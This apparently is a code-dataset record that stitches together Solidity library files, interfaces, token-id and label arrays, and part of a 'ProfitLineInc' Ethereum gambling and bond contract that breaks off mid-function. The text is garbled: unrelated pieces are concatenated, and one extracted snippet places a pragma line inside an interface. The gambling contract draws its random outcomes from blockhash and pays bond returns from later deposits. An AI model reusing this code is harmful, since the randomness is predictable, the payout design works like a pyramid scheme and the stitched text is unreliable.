functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, 'Address: low-level static call failed'); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), 'Address: static call to non-contract'); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, 'Address: low-level delegate call failed'); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), 'Address: delegate call to non-contract'); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; import './WadRayMath.sol'; library InterestMath { using WadRayMath for uint256; /// @dev Ignoring leap years uint256 internal constant SECONDS_PER_YEAR = 365 days; uint256 internal constant MILLIS_PER_YEAR = SECONDS_PER_YEAR * 1000; /** * @dev Function to calculate the interest accumulated using a linear interest rate formula * @param rate The annual interest rate, in ray * @param lastUpdateTimestamp The timestamp of the last update of the interest * @return The interest rate linearly accumulated during the timeDelta, in ray **/ function calculateLinearInterest(uint256 rate, uint40 lastUpdateTimestamp) internal view returns (uint256) { return WadRayMath.RAY + (rate * (block.timestamp - lastUpdateTimestamp)) / SECONDS_PER_YEAR; } /** * @dev Function to calculate the interest using a compounded interest rate formula * To avoid expensive exponentiation, the calculation is performed using a binomial approximation: * * (1+x)^n = 1+n*x+[n/2*(n-1)]*x^2+[n/6*(n-1)*(n-2)*x^3... * * The approximation slightly underpays liquidity providers and undercharges borrowers, with the advantage of great gas cost reductions * * @param rate The interest rate, in ray * @param lastUpdateTimestamp The timestamp of the last update of the interest * @return The interest rate compounded during the timeDelta, in ray **/ function calculateCompoundedInterest( uint256 rate, uint40 lastUpdateTimestamp, uint256 currentTimestamp ) internal pure returns (uint256) { uint256 exp = currentTimestamp - lastUpdateTimestamp; if (exp == 0) { return WadRayMath.ray(); } uint256 expMinusOne = exp - 1; uint256 expMinusTwo = exp > 2 ? exp - 2 : 0; uint256 ratePerSecond = rate / SECONDS_PER_YEAR; uint256 basePowerTwo = ratePerSecond.rayMul(ratePerSecond); uint256 basePowerThree = basePowerTwo.rayMul(ratePerSecond); uint256 secondTerm = (exp * expMinusOne * basePowerTwo) / 2; uint256 thirdTerm = (exp * expMinusOne * expMinusTwo * basePowerThree) / 6; return WadRayMath.RAY + exp * ratePerSecond + secondTerm + thirdTerm; } /** * @dev Calculates the compounded interest between the timestamp of the last update and the current block timestamp * @param rate The interest rate (in ray) * @param lastUpdateTimestamp The timestamp from which the interest accumulation needs to be calculated **/ function calculateCompoundedInterest(uint256 rate, uint40 lastUpdateTimestamp) internal view returns (uint256) { return calculateCompoundedInterest(rate, lastUpdateTimestamp, block.timestamp); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; import './IPriceOracleGetter.sol'; /// @dev Interface for a price oracle. interface IPriceOracle is IPriceOracleGetter { function updateAssetSource(address asset) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; import '../../interfaces/IReserveDelegatedStrategy.sol'; import '../../interfaces/IPriceOracleProvider.sol'; abstract contract DelegatedStrategyBase is IReserveDelegatedStrategy { address private immutable self = address(this); string private _name; IPriceOracleProvider internal immutable _addressProvider; constructor(string memory name, address addressProvider) { _name = name; _addressProvider = IPriceOracleProvider(addressProvider); } function isDelegatedReserve() external pure override returns (bool) { return true; } function getStrategyName() external view override returns (string memory) { return _name; } function delegatedWithdrawUnderlying( address asset, uint256 amount, address to ) external override returns (uint256) { require(self != address(this), 'only delegated'); require(amount > 0); return internalWithdrawUnderlying(asset, amount, to); } function internalWithdrawUnderlying( address asset, uint256 amount, address to ) internal virtual returns (uint256); } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; enum SourceType { AggregatorOrStatic, UniswapV2Pair } interface IPriceOracleEvents { event AssetPriceUpdated(address asset, uint256 price, uint256 timestamp); event EthPriceUpdated(uint256 price, uint256 timestamp); event DerivedAssetSourceUpdated( address indexed asset, uint256 index, address indexed underlyingSource, uint256 underlyingPrice, uint256 timestamp, SourceType sourceType ); } /// @dev Interface for a price oracle. interface IPriceOracleGetter is IPriceOracleEvents { /// @dev returns the asset price in ETH function getAssetPrice(address asset) external view returns (uint256); } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; import './IReserveStrategy.sol'; import './IUnderlyingStrategy.sol'; /// @dev Interface to access the interest rate of an external asset interface IReserveDelegatedStrategy is IReserveStrategy, IUnderlyingStrategy { /// @dev all indexes and rates are expressed in ray struct DelegatedState { uint128 liquidityIndex; uint128 variableBorrowIndex; uint128 liquidityRate; uint128 variableBorrowRate; uint128 stableBorrowRate; uint40 lastUpdateTimestamp; } function getDelegatedState(address underlyingToken, uint40 lastUpdateTimestamp) external returns (DelegatedState memory); function getDelegatedDepositIndex(address underlyingToken) external view returns (uint256 liquidityIndex); function getStrategyName() external view returns (string memory); } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; interface IPriceOracleProvider { function getPriceOracle() external view returns (address); function getLendingRateOracle() external view returns (address); } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; interface IReserveStrategy { function isDelegatedReserve() external view returns (bool); } // SPDX-License-Identifier: agpl-3.0 pragma solidity ^0.8.4; interface IUnderlyingStrategy { function getUnderlying(address asset) external view returns (address); function delegatedWithdrawUnderlying( address asset, uint256 amount, address to ) external returns (uint256); }
@dev Interface for a price oracle.
interface IPriceOracle is IPriceOracleGetter { function updateAssetSource(address asset) external; pragma solidity ^0.8.4; }
14,374,089
[ 1, 1358, 364, 279, 6205, 20865, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 2971, 3057, 23601, 353, 2971, 3057, 23601, 8461, 288, 203, 225, 445, 1089, 6672, 1830, 12, 2867, 3310, 13, 3903, 31, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 24, 31, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.25; // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } // ProfitLineInc contract contract ProfitLineInc { using SafeMath for uint; // set CEO and board of directors ownables mapping(uint256 => address)public management;// 0 CEO 1-5 Directors mapping(uint256 => uint256)public manVault;// Eth balance //mapping(uint256 => uint256)public spendableShares; // unused allocation mapping(uint256 => uint256)public price; // takeover price uint256 public totalSupplyShares; // in use totalsupply shares uint256 public ethPendingManagement; // Player setup mapping(address => uint256)public bondsOutstanding; // redeemablebonds uint256 public totalSupplyBonds; //totalsupply of bonds outstanding mapping(address => uint256)public playerVault; // in contract eth balance mapping(address => uint256)public pendingFills; //eth to fill bonds mapping(address => uint256)public playerId; mapping(uint256 => address)public IdToAdress; uint256 public nextPlayerID; // autoReinvest mapping(address => bool) public allowAutoInvest; mapping(address => uint256) public percentageToReinvest; // Game vars uint256 ethPendingDistribution; // eth pending distribution // proffit line vars uint256 ethPendingLines; // eth ending distributionacross lines // line 1 - proof of cheating the line mapping(uint256 => address) public cheatLine; mapping(address => bool) public isInLine; mapping(address => uint256) public lineNumber; uint256 public cheatLinePot; uint256 public nextInLine; uint256 public lastInLine; // line 2 - proof of cheating the line Whale mapping(uint256 => address) public cheatLineWhale; mapping(address => bool) public isInLineWhale; mapping(address => uint256) public lineNumberWhale; uint256 public cheatLinePotWhale; uint256 public nextInLineWhale; uint256 public lastInLineWhale; // line 3 - proof of arbitrage opportunity uint256 public arbitragePot; // line 4 - proof of risky arbitrage opportunity uint256 public arbitragePotRisky; // line 5 - proof of increasing odds mapping(address => uint256) public odds; uint256 public poioPot; // line 6 - proof of increasing odds Whale mapping(address => uint256) public oddsWhale; uint256 public poioPotWhale; // line 7 - proof of increasing odds everybody uint256 public oddsAll; uint256 public poioPotAll; // line 8 - proof of decreasing odds everybody uint256 public decreasingOddsAll; uint256 public podoPotAll; // line 9 - proof of distributing by random uint256 public randomPot; mapping(uint256 => address) public randomDistr; uint256 public randomNext; uint256 public lastdraw; // line 10 - proof of distributing by random whale uint256 public randomPotWhale; mapping(uint256 => address) public randomDistrWhale; uint256 public randomNextWhale; uint256 public lastdrawWhale; // line 11 - proof of distributing by everlasting random uint256 public randomPotAlways; mapping(uint256 => address) public randomDistrAlways; uint256 public randomNextAlways; uint256 public lastdrawAlways; // line 12 - Proof of eth rolls uint256 public dicerollpot; // line 13 - Proof of ridiculously bad odds uint256 public amountPlayed; uint256 public badOddsPot; // line 14 - Proof of playing Snip3d uint256 public Snip3dPot; // line 16 - Proof of playing Slaughter3d uint256 public Slaughter3dPot; // line 17 - Proof of eth rolls feeding bank uint256 public ethRollBank; // line 18 - Proof of eth stuck on PLinc uint256 public ethStuckOnPLinc; address public currentHelper; bool public canGetPaidForHelping; mapping(address => bool) public hassEthstuck; // line 19 - Proof of giving of eth uint256 public PLincGiverOfEth; // // vaults uint256 public vaultSmall; uint256 public timeSmall; uint256 public vaultMedium; uint256 public timeMedium; uint256 public vaultLarge; uint256 public timeLarge; uint256 public vaultDrip; // delayed bonds maturing uint256 public timeDrip; // interfaces HourglassInterface constant P3Dcontract_ = HourglassInterface(0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe);//0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe); SPASMInterface constant SPASM_ = SPASMInterface(0xfaAe60F2CE6491886C9f7C9356bd92F688cA66a1);//0xfaAe60F2CE6491886C9f7C9356bd92F688cA66a1); Snip3DBridgeInterface constant snip3dBridge = Snip3DBridgeInterface(0x99352D1edfa7f124eC618dfb51014f6D54bAc4aE);//snip3d bridge Slaughter3DBridgeInterface constant slaughter3dbridge = Slaughter3DBridgeInterface(0x3E752fFD5eff7b7f2715eF43D8339ecABd0e65b9);//slaughter3dbridge // bonds div setup uint256 public pointMultiplier = 10e18; struct Account { uint256 balance; uint256 lastDividendPoints; } mapping(address=>Account) accounts; uint256 public totalDividendPoints; uint256 public unclaimedDividends; function dividendsOwing(address account) public view returns(uint256) { uint256 newDividendPoints = totalDividendPoints.sub(accounts[account].lastDividendPoints); return (bondsOutstanding[account] * newDividendPoints) / pointMultiplier; } function fetchdivs(address toupdate) public updateAccount(toupdate){} modifier updateAccount(address account) { uint256 owing = dividendsOwing(account); if(owing > 0) { unclaimedDividends = unclaimedDividends.sub(owing); pendingFills[account] = pendingFills[account].add(owing); } accounts[account].lastDividendPoints = totalDividendPoints; _; } function () external payable{} // needs for divs function vaultToWallet(address toPay) public { require(playerVault[toPay] > 0); uint256 value = playerVault[toPay]; playerVault[toPay] = 0; toPay.transfer(value); emit cashout(msg.sender,value); } // view functions function harvestabledivs() view public returns(uint256) { return ( P3Dcontract_.myDividends(true)) ; } function fetchDataMain() public view returns(uint256 _ethPendingDistribution, uint256 _ethPendingManagement, uint256 _ethPendingLines) { _ethPendingDistribution = ethPendingDistribution; _ethPendingManagement = ethPendingManagement; _ethPendingLines = ethPendingLines; } function fetchCheatLine() public view returns(address _1stInLine, address _2ndInLine, address _3rdInLine, uint256 _sizeOfPot) { _1stInLine = cheatLine[nextInLine-1]; _2ndInLine = cheatLine[nextInLine-2]; _3rdInLine = cheatLine[nextInLine-3]; _sizeOfPot = cheatLinePot; } function fetchCheatLineWhale() public view returns(address _1stInLine2, address _2ndInLine2, address _3rdInLine2, uint256 _sizeOfPot2) { _1stInLine2 = cheatLineWhale[nextInLineWhale-1]; _2ndInLine2 = cheatLineWhale[nextInLineWhale-2]; _3rdInLine2 = cheatLineWhale[nextInLineWhale-3]; _sizeOfPot2 = cheatLinePotWhale; } // management hot potato functions function buyCEO() public payable{ uint256 value = msg.value; require(value >= price[0]);// playerVault[management[0]] += (manVault[0] .add(value.div(2))); manVault[0] = 0; emit CEOsold(management[0],msg.sender,value); management[0] = msg.sender; ethPendingDistribution = ethPendingDistribution.add(value.div(2)); price[0] = price[0].mul(21).div(10); } function buyDirector(uint256 spot) public payable{ uint256 value = msg.value; require(spot >0 && spot < 6); require(value >= price[spot]); playerVault[management[spot]] += (manVault[spot].add(value.div(2))); manVault[spot] = 0; emit Directorsold(management[spot],msg.sender,value, spot); management[spot] = msg.sender; ethPendingDistribution = ethPendingDistribution.add(value.div(4)); playerVault[management[0]] = playerVault[management[0]].add(value.div(4)); price[spot] = price[spot].mul(21).div(10); } function managementWithdraw(uint256 who) public{ uint256 cash = manVault[who]; require(who <6); require(cash>0); manVault[who] = 0; management[who].transfer(cash); emit cashout(management[who],cash); } // eth distribution cogs main function ethPropagate() public{ require(ethPendingDistribution>0 ); uint256 base = ethPendingDistribution.div(50); ethPendingDistribution = 0; //2% to SPASM SPASM_.disburse.value(base)(); //2% to management ethPendingManagement = ethPendingManagement.add(base); //10% to bonds maturity uint256 amount = base.mul(5); totalDividendPoints = totalDividendPoints.add(amount.mul(pointMultiplier).div(totalSupplyBonds)); unclaimedDividends = unclaimedDividends.add(amount); emit bondsMatured(amount); //rest split across lines ethPendingLines = ethPendingLines.add(base.mul(43)); } //buybonds function function buyBonds(address masternode, address referral)updateAccount(msg.sender) updateAccount(referral) payable public { // update bonds first uint256 value = msg.value; address sender = msg.sender; require(msg.value > 0 && referral != 0); uint256 base = value.div(100); // buy P3D 5% P3Dcontract_.buy.value(base.mul(5))(masternode); // add bonds to sender uint256 amount = value.mul(11).div(10); bondsOutstanding[sender] = bondsOutstanding[sender].add(amount); emit bondsBought(msg.sender,amount); // reward referal in bonds bondsOutstanding[referral] = bondsOutstanding[referral].add(value.mul(2).div(100)); // edit totalsupply totalSupplyBonds = totalSupplyBonds.add(amount.add(value.mul(2).div(100))); // set rest to eth pending ethPendingDistribution = ethPendingDistribution.add(base.mul(95)); // update playerbook if(playerId[sender] == 0){ playerId[sender] = nextPlayerID; IdToAdress[nextPlayerID] = sender; nextPlayerID++; } } // management distribution eth function function ethManagementPropagate() public { require(ethPendingManagement > 0); uint256 base = ethPendingManagement.div(20); ethPendingManagement = 0; manVault[0] += base.mul(5);//CEO manVault[1] += base.mul(5);//first Director manVault[2] += base.mul(4); manVault[3] += base.mul(3); manVault[4] += base.mul(2); manVault[5] += base.mul(1);// fifth } // cash mature bonds to playervault function fillBonds (address bondsOwner)updateAccount(msg.sender) updateAccount(bondsOwner) public { uint256 pendingz = pendingFills[bondsOwner]; require(bondsOutstanding[bondsOwner] > 1000 && pendingz > 1000); require(msg.sender == tx.origin); require(pendingz <= bondsOutstanding[bondsOwner]); // empty the pendings pendingFills[bondsOwner] = 0; // decrease bonds outstanding bondsOutstanding[bondsOwner] = bondsOutstanding[bondsOwner].sub(pendingz); // reward freelancer bondsOutstanding[msg.sender]= bondsOutstanding[msg.sender].add(pendingz.div(1000)); // adjust totalSupplyBonds totalSupplyBonds = totalSupplyBonds.sub(pendingz).add(pendingz.div(1000)); // add cash to playerVault playerVault[bondsOwner] = playerVault[bondsOwner].add(pendingz); emit bondsFilled(bondsOwner,pendingz); } //force bonds because overstock pendingFills function forceBonds (address bondsOwner, address masternode)updateAccount(msg.sender) updateAccount(bondsOwner) public { require(bondsOutstanding[bondsOwner] > 1000 && pendingFills[bondsOwner] > 1000); require(pendingFills[bondsOwner] > bondsOutstanding[bondsOwner]); // update bonds first uint256 value = pendingFills[bondsOwner].sub(bondsOutstanding[bondsOwner]); pendingFills[bondsOwner] = pendingFills[bondsOwner].sub(bondsOutstanding[bondsOwner]); uint256 base = value.div(100); // buy P3D 5% P3Dcontract_.buy.value(base.mul(5))(masternode); // add bonds to sender uint256 amount = value.mul(11).div(10); bondsOutstanding[bondsOwner] += amount; // reward referal in bonds bondsOutstanding[msg.sender] += value.mul(2).div(100); // edit totalsupply totalSupplyBonds += amount.add(value.mul(2).div(100)); // set rest to eth pending ethPendingDistribution += base.mul(95); emit bondsBought(bondsOwner, amount); } //autoReinvest functions function setAuto (uint256 percentage) public { allowAutoInvest[msg.sender] = true; require(percentage <=100 && percentage > 0); percentageToReinvest[msg.sender] = percentage; } function disableAuto () public { allowAutoInvest[msg.sender] = false; } function freelanceReinvest(address stackOwner, address masternode)updateAccount(msg.sender) updateAccount(stackOwner) public{ address sender = msg.sender; require(allowAutoInvest[stackOwner] == true && playerVault[stackOwner] > 100000); require(sender == tx.origin); // update vault first uint256 value = playerVault[stackOwner]; //emit autoReinvested(stackOwner, value, percentageToReinvest[stackOwner]); playerVault[stackOwner]=0; uint256 base = value.div(100000).mul(percentageToReinvest[stackOwner]); // buy P3D 5% P3Dcontract_.buy.value(base.mul(50))(masternode); // update bonds first // add bonds to sender uint256 precalc = base.mul(950);//.mul(percentageToReinvest[stackOwner]); uint256 amount = precalc.mul(109).div(100); bondsOutstanding[stackOwner] = bondsOutstanding[stackOwner].add(amount); // reward referal in bonds bondsOutstanding[sender] = bondsOutstanding[sender].add(base); // edit totalsupply totalSupplyBonds = totalSupplyBonds.add(amount.add(base)); // set to eth pending ethPendingDistribution = ethPendingDistribution.add(precalc); if(percentageToReinvest[stackOwner] < 100) { precalc = value.sub(precalc.add(base.mul(50)));//base.mul(100-percentageToReinvest[stackOwner]); stackOwner.transfer(precalc); } emit bondsBought(stackOwner, amount); } function PendinglinesToLines () public { require(ethPendingLines > 1000); uint256 base = ethPendingLines.div(25); ethPendingLines = 0; // line 1 cheatLinePot = cheatLinePot.add(base); // line 2 cheatLinePotWhale = cheatLinePotWhale.add(base); // line 3 arbitragePot = arbitragePot.add(base); // line 4 arbitragePotRisky = arbitragePotRisky.add(base); // line 5 poioPot = poioPot.add(base); // line 6 poioPotWhale = poioPotWhale.add(base); // line 7 poioPotAll = poioPotAll.add(base); // line 8 podoPotAll = podoPotAll.add(base); // line 9 randomPot = randomPot.add(base); // line 10 randomPotWhale = randomPotWhale.add(base); // line 11 randomPotAlways = randomPotAlways.add(base); // line 12 dicerollpot = dicerollpot.add(base); // line 13 badOddsPot = badOddsPot.add(base); // line 14 Snip3dPot = Snip3dPot.add(base); // line 16 Slaughter3dPot = Slaughter3dPot.add(base); // line 17 ethRollBank = ethRollBank.add(base); // line 18 ethStuckOnPLinc = ethStuckOnPLinc.add(base); // line 19 PLincGiverOfEth = PLincGiverOfEth.add(base); //vaultSmall vaultSmall = vaultSmall.add(base); //vaultMedium vaultMedium = vaultMedium.add(base); //vaultLarge vaultLarge = vaultLarge.add(base); //vaultdrip vaultDrip = vaultDrip.add(base.mul(4)); } function fetchP3Ddivs() public{ //allocate p3d dividends to contract uint256 dividends = harvestabledivs(); require(dividends > 0); P3Dcontract_.withdraw(); ethPendingDistribution = ethPendingDistribution.add(dividends); } //Profit lines function cheatTheLine () public payable updateAccount(msg.sender){ address sender = msg.sender; uint256 value = msg.value; require(value >= 0.01 ether); require(msg.sender == tx.origin); if(isInLine[sender] == true) { // overwrite previous spot cheatLine[lineNumber[sender]] = cheatLine[lastInLine]; // get first in line cheatLine[nextInLine] = sender; // adjust pointers nextInLine++; lastInLine++; } if(isInLine[sender] == false) { // get first in line cheatLine[nextInLine] = sender; // set where in line lineNumber[sender] = nextInLine; // adjust pointer nextInLine++; // adjust isinline isInLine[sender] = true; } //give bonds for eth payment bondsOutstanding[sender] = bondsOutstanding[sender].add(value); // edit totalsupply totalSupplyBonds = totalSupplyBonds.add(value); // set paid eth to eth pending ethPendingDistribution = ethPendingDistribution.add(value); emit bondsBought(sender, value); } function payoutCheatLine () public { // needs someone in line and pot have honey require(cheatLinePot >= 0.1 ether && nextInLine > 0); require(msg.sender == tx.origin); // set winner uint256 winner = nextInLine.sub(1); // change index nextInLine--; // deduct from pot cheatLinePot = cheatLinePot.sub(0.1 ether); // add to winers pendingFills pendingFills[cheatLine[winner]] = pendingFills[cheatLine[winner]].add(0.1 ether); // kicked from line because of win isInLine[cheatLine[winner]] = false; // //emit newMaturedBonds(cheatLine[winner], 0.1 ether); emit won(cheatLine[winner], true, 0.1 ether, 1); } function cheatTheLineWhale () public payable updateAccount(msg.sender){ address sender = msg.sender; uint256 value = msg.value; require(value >= 1 ether); require(sender == tx.origin); if(isInLineWhale[sender] == true) { // overwrite previous spot cheatLineWhale[lineNumberWhale[sender]] = cheatLineWhale[lastInLineWhale]; // get first in line cheatLineWhale[nextInLineWhale] = sender; // adjust pointers nextInLineWhale++; lastInLineWhale++; } if(isInLineWhale[sender] == false) { // get first in line cheatLineWhale[nextInLineWhale] = sender; // set where in line lineNumberWhale[sender] = nextInLineWhale; // adjust pointer nextInLineWhale++; // adjust isinline isInLineWhale[sender] = true; } bondsOutstanding[sender] = bondsOutstanding[sender].add(value); // edit totalsupply totalSupplyBonds = totalSupplyBonds.add(value); // set paid eth to eth pending ethPendingDistribution = ethPendingDistribution.add(value); //emit bondsBought(sender, value); } function payoutCheatLineWhale () public { // needs someone in line and pot have honey require(cheatLinePotWhale >= 10 ether && nextInLineWhale > 0); require(msg.sender == tx.origin); // set winner uint256 winner = nextInLineWhale.sub(1); // change index nextInLineWhale--; // deduct from pot cheatLinePotWhale = cheatLinePotWhale.sub(10 ether); // add to winers pendingFills pendingFills[cheatLineWhale[winner]] = pendingFills[cheatLineWhale[winner]].add(10 ether); // kicked from line because of win isInLineWhale[cheatLineWhale[winner]] = false; // //emit newMaturedBonds(cheatLineWhale[winner], 10 ether); emit won(cheatLineWhale[winner], true, 10 ether,2); } function takeArbitrageOpportunity () public payable updateAccount(msg.sender){ uint256 opportunityCost = arbitragePot.div(100); require(msg.value > opportunityCost && opportunityCost > 1000); uint256 payout = opportunityCost.mul(101).div(100); arbitragePot = arbitragePot.sub(payout); // uint256 value = msg.value; address sender = msg.sender; require(sender == tx.origin); // add to winers pendingFills pendingFills[sender] = pendingFills[sender].add(payout); // add bonds to sender bondsOutstanding[sender] = bondsOutstanding[sender].add(value); // edit totalsupply totalSupplyBonds = totalSupplyBonds.add(value); // set paid eth to eth pending ethPendingDistribution = ethPendingDistribution.add(value); emit won(sender, true, payout,3); } function takeArbitrageOpportunityRisky () public payable updateAccount(msg.sender){ uint256 opportunityCost = arbitragePotRisky.div(5); require(msg.value > opportunityCost && opportunityCost > 1000); uint256 payout = opportunityCost.mul(101).div(100); arbitragePotRisky = arbitragePotRisky.sub(payout); // uint256 value = msg.value; address sender = msg.sender; require(sender == tx.origin); // add to winers pendingFills pendingFills[sender] = pendingFills[sender].add(payout); // add bonds to sender bondsOutstanding[sender] = bondsOutstanding[sender].add(value); // edit totalsupply totalSupplyBonds = totalSupplyBonds.add(value); // set paid eth to eth pending ethPendingDistribution = ethPendingDistribution.add(value); //emit bondsBought(sender, value); //emit newMaturedBonds(sender, payout); emit won(sender, true, payout,4); } function playProofOfIncreasingOdds (uint256 plays) public payable updateAccount(msg.sender){ //possible mm gas problem upon win? address sender = msg.sender; uint256 value = msg.value; uint256 oddz = odds[sender]; uint256 oddzactual; require(sender == tx.origin); require(value >= plays.mul(0.1 ether)); require(plays > 0); bool hasWon; // fix this for(uint i=0; i< plays; i++) { if(1000- oddz - i > 2){oddzactual = 1000- oddz - i;} if(1000- oddz - i <= 2){oddzactual = 2;} uint256 outcome = uint256(blockhash(block.number-1)) % (oddzactual); emit RNGgenerated(outcome); if(outcome == 1){ // only 1 win per tx i = plays; // change pot poioPot = poioPot.div(2); // add to winers pendingFills pendingFills[sender] = pendingFills[sender].add(poioPot); // reset odds odds[sender] = 0; //emit newMaturedBonds(sender, poioPot); hasWon = true; uint256 amount = poioPot; } } odds[sender] += i; // add bonds to sender bondsOutstanding[sender] = bondsOutstanding[sender].add(value); // edit totalsupply totalSupplyBonds = totalSupplyBonds.add(value); // set paid eth to eth pending ethPendingDistribution = ethPendingDistribution.add(value); // //emit bondsBought(sender, value); emit won(sender, hasWon, amount,5); } function playProofOfIncreasingOddsWhale (uint256 plays) public payable updateAccount(msg.sender){ //possible mm gas problem upon win? address sender = msg.sender; uint256 value = msg.value; uint256 oddz = oddsWhale[sender]; uint256 oddzactual; require(sender == tx.origin); require(value >= plays.mul(10 ether)); require(plays > 0); bool hasWon; // fix this for(uint i=0; i< plays; i++) { if(1000- oddz - i > 2){oddzactual = 1000- oddz - i;} if(1000- oddz - i <= 2){oddzactual = 2;} uint256 outcome = uint256(blockhash(block.number-1)) % (oddzactual); emit RNGgenerated(outcome); if(outcome == 1){ // only 1 win per tx i = plays; // change pot poioPotWhale = poioPotWhale.div(2); // add to winers pendingFills pendingFills[sender] = pendingFills[sender].add(poioPotWhale); // reset odds oddsWhale[sender] = 0; //emit newMaturedBonds(sender, poioPotWhale); hasWon = true; uint256 amount = poioPotWhale; } } oddsWhale[sender] += i; // add bonds to sender bondsOutstanding[sender] = bondsOutstanding[sender].add(value); // edit totalsupply totalSupplyBonds = totalSupplyBonds.add(value); // set paid eth to eth pending ethPendingDistribution = ethPendingDistribution.add(value); // //emit bondsBought(sender, value); emit won(sender, hasWon, amount,6); } function playProofOfIncreasingOddsALL (uint256 plays) public payable updateAccount(msg.sender){ //possible mm gas problem upon win? address sender = msg.sender; uint256 value = msg.value; uint256 oddz = oddsAll; uint256 oddzactual; require(sender == tx.origin); require(value >= plays.mul(0.1 ether)); require(plays > 0); bool hasWon; // fix this for(uint i=0; i< plays; i++) { if(1000- oddz - i > 2){oddzactual = 1000- oddz - i;} if(1000- oddz - i <= 2){oddzactual = 2;} uint256 outcome = uint256(blockhash(block.number-1)) % (oddzactual); emit RNGgenerated(outcome); if(outcome == 1){ // only 1 win per tx i = plays; // change pot poioPotAll = poioPotAll.div(2); // add to winers pendingFills pendingFills[sender] = pendingFills[sender].add(poioPotAll); // reset odds odds[sender] = 0; //emit newMaturedBonds(sender, poioPotAll); hasWon = true; uint256 amount = poioPotAll; } } 